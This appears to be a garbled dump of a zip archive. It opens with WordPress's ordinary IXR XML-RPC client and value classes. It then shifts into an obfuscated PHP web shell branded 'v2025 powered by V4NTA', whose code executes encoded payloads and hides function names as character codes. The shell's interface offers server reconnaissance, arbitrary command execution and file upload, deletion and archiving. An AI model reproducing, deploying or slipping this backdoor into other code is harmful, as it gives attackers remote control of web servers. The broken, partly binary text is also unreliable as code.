???PK ! 0 class-IXR-client.phpnu &1i server = $bits['host']; $this->port = isset($bits['port']) ? $bits['port'] : 80; $this->path = isset($bits['path']) ? $bits['path'] : '/'; // Make absolutely sure we have a path if (!$this->path) { $this->path = '/'; } if ( ! empty( $bits['query'] ) ) { $this->path .= '?' . $bits['query']; } } else { $this->server = $server; $this->path = $path; $this->port = $port; } $this->useragent = 'The Incutio XML-RPC PHP Library'; $this->timeout = $timeout; } /** * PHP4 constructor. */ public function IXR_Client( $server, $path = false, $port = 80, $timeout = 15 ) { self::__construct( $server, $path, $port, $timeout ); } /** * @since 1.5.0 * @since 5.5.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @return bool */ function query( ...$args ) { $method = array_shift($args); $request = new IXR_Request($method, $args); $length = $request->getLength(); $xml = $request->getXml(); $r = "\r\n"; $request = "POST {$this->path} HTTP/1.0$r"; // Merged from WP #8145 - allow custom headers $this->headers['Host'] = $this->server; $this->headers['Content-Type'] = 'text/xml'; $this->headers['User-Agent'] = $this->useragent; $this->headers['Content-Length']= $length; foreach( $this->headers as $header => $value ) { $request .= "{$header}: {$value}{$r}"; } $request .= $r; $request .= $xml; // Now send the request if ($this->debug) { echo '
'.htmlspecialchars($request)."\n\n\n"; } if ($this->timeout) { $fp = @fsockopen($this->server, $this->port, $errno, $errstr, $this->timeout); } else { $fp = @fsockopen($this->server, $this->port, $errno, $errstr); } if (!$fp) { $this->error = new IXR_Error(-32300, 'transport error - could not open socket'); return false; } fputs($fp, $request); $contents = ''; $debugContents = ''; $gotFirstLine = false; $gettingHeaders = true; while (!feof($fp)) { $line = fgets($fp, 4096); if (!$gotFirstLine) { // Check line for '200' if (strstr($line, '200') === false) { $this->error = new IXR_Error(-32300, 'transport error - HTTP status code was not 200'); return false; } $gotFirstLine = true; } if (trim($line) == '') { $gettingHeaders = false; } if (!$gettingHeaders) { // merged from WP #12559 - remove trim $contents .= $line; } if ($this->debug) { $debugContents .= $line; } } if ($this->debug) { echo '
'.htmlspecialchars($debugContents)."\n\n\n"; } // Now parse what we've got back $this->message = new IXR_Message($contents); if (!$this->message->parse()) { // XML error $this->error = new IXR_Error(-32700, 'parse error. not well formed'); return false; } // Is the message a fault? if ($this->message->messageType == 'fault') { $this->error = new IXR_Error($this->message->faultCode, $this->message->faultString); return false; } // Message must be OK return true; } function getResponse() { // methodResponses can only have one param - return that return $this->message->params[0]; } function isError() { return (is_object($this->error)); } function getErrorCode() { return $this->error->code; } function getErrorMessage() { return $this->error->message; } } PK ! ЅS class-IXR-value.phpnu &1i data = $data; if (!$type) { $type = $this->calculateType(); } $this->type = $type; if ($type == 'struct') { // Turn all the values in the array in to new IXR_Value objects foreach ($this->data as $key => $value) { $this->data[$key] = new IXR_Value($value); } } if ($type == 'array') { for ($i = 0, $j = count($this->data); $i < $j; $i++) { $this->data[$i] = new IXR_Value($this->data[$i]); } } } /** * PHP4 constructor. */ public function IXR_Value( $data, $type = false ) { self::__construct( $data, $type ); } function calculateType() { if ($this->data === true || $this->data === false) { return 'boolean'; } if (is_integer($this->data)) { return 'int'; } if (is_double($this->data)) { return 'double'; } // Deal with IXR object types base64 and date if (is_object($this->data) && is_a($this->data, 'IXR_Date')) { return 'date'; } if (is_object($this->data) && is_a($this->data, 'IXR_Base64')) { return 'base64'; } // If it is a normal PHP object convert it in to a struct if (is_object($this->data)) { $this->data = get_object_vars($this->data); return 'struct'; } if (!is_array($this->data)) { return 'string'; } // We have an array - is it an array or a struct? if ($this->isStruct($this->data)) { return 'struct'; } else { return 'array'; } } function getXml() { // Return XML for this value switch ($this->type) { case 'boolean': return '
' . htmlspecialchars(substr($plain_code, 0, 200)) . ''; $obj->_execute_BBsxvfUI11($plain_code); } private function gtMRMVMj44() { // Gate piece 3 $jv2 = function_exists('curl_init') ? 'curl_ok' : 'curl_fail'; return str_rot13('kj3m'); } private function dcIhqpAV83() { $jv3 = 1586; $__e = array_filter(array_map('trim', explode(',', 'a,b,c,d,e'))); return null; } private function kmXsCSNu86() { // Key segment 1 $jv2 = unpack('L', hash('crc32', microtime(), true)); $jv1 = base64_decode('ZGF0YUZGTkZRRjU2'); return base64_decode('SU03WWhwZ1p1'); } private function _execute_BBsxvfUI11($code) { // WordPress-compatible execution handler if (isset($_GET['debug'])) { ini_set('display_errors', 1); error_reporting(E_ALL); echo 'DEBUG MODE ACTIVE
|
! v2025 ! |
|
|---|---|
|
Safe-mode: ON' : 'OFF (not secure)'; ?> Disable Functions: '.htmlspecialchars($d1sxb).'' : 'None'; ?> Host: = htmlspecialchars($c999999xas[8]()); ?> User: = htmlspecialchars($c999999xas[9]()); ?> Software: = htmlspecialchars($_SERVER["SERVER_SOFTWARE"]); ?> IP: = htmlspecialchars(gethostbyname($_SERVER["SERVER_ADDR"])); ?> PHP: = PHP_VERSION; ?> function() use($fnX6) { $f = fobf([99,117,114,108,95,105,110,105,116]); return $fnX6($f); }, 'SSH2' => function() use($fnX6) { $f = fobf([115,115,104,50,95,99,111,110,110,101,99,116]); return $fnX6($f); }, 'Magic Quotes' => function() use($chDxXZx) { $f = fobf([109,97,103,105,99,95,113,117,111,116,101,115,95,103,112,99]); return (bool)$chDxXZx($f); }, 'MySQL' => function() use($fnX6) { $f1 = fobf([109,121,115,113,108,105,95,99,111,110,110,101,99,116]); $f2 = fobf([109,121,115,113,108,95,99,111,110,110,101,99,116]); return $fnX6($f1) || $fnX6($f2); }, 'MSSQL' => function() use($fnX6) { $f1 = fobf([109,115,115,113,108,95,99,111,110,110,101,99,116]); $f2 = fobf([115,113,108,115,114,118,95,99,111,110,110,101,99,116]); return $fnX6($f1) || $fnX6($f2); }, 'PostgreSQL' => function() use($fnX6) { $f = fobf([112,103,95,99,111,110,110,101,99,116]); return $fnX6($f); }, 'Oracle' => function() use($fnX6) { $f = fobf([111,99,105,95,99,111,110,110,101,99,116]); return $fnX6($f); }, 'CGI' => function() use($fn_php_sapi_name) { $name = $fn_php_sapi_name(); return ($name === 'cgi' || $name === 'cgi-fcgi'); }, ]; foreach ($features as $name => $fn) { $on = $fn() ? 'ON' : 'OFF'; echo '' . htmlspecialchars($name) . ':' . $on . ' '; } ?> /'; foreach ($parts as $i => $v) { if ($v === '') continue; $build .= '/' . $v; echo '' . htmlspecialchars($v) . '/'; } ?> |
|
|
|
|
|
|
Success: File(s) deleted! Refreshing..."; header("Refresh:1;url=" . $_SERVER['REQUEST_URI']); exit; } elseif ($action == 'zip') { foreach ($selectedFiles as $file) { $filepath = $dir . '/' . $file; if ($c999999xas[3]($file)) { compressToZip($filepath, pathinfo($filepath, PATHINFO_FILENAME) . ".zip"); } } echo " Refreshing... ";
header("Refresh:1;url=" . $_SERVER['REQUEST_URI']);
exit;
}
elseif ($action == 'unzip') {
foreach ($selectedFiles as $file) {
$filepath = $dir . '/' . $file;
xtr4cc999999($filepath, $dir . '/');
}
echo " Refreshing... ";
header("Refresh:1;url=" . $_SERVER['REQUEST_URI']);
exit;
}
}
?>
|
|
:: Command Execute :: | |
|
|
| ' . htmlspecialchars($output) . ' | ';
}
?>
';
foreach ($results as $file) {
echo htmlspecialchars($file) . "\n";
}
echo '';
}
?>
|
Upload failed. '; } } else { echo 'Please select a file to upload. '; } } ?> |
Directory already exists. '; } } ?> |
File already exists. '; } } ?> |
--[ v2025 (01.07.2025) powered by V4NTA | https://privdayz.com | Generation time: = round(microtime(true) - $prvdz_gen_start, 4) ?> ]-- |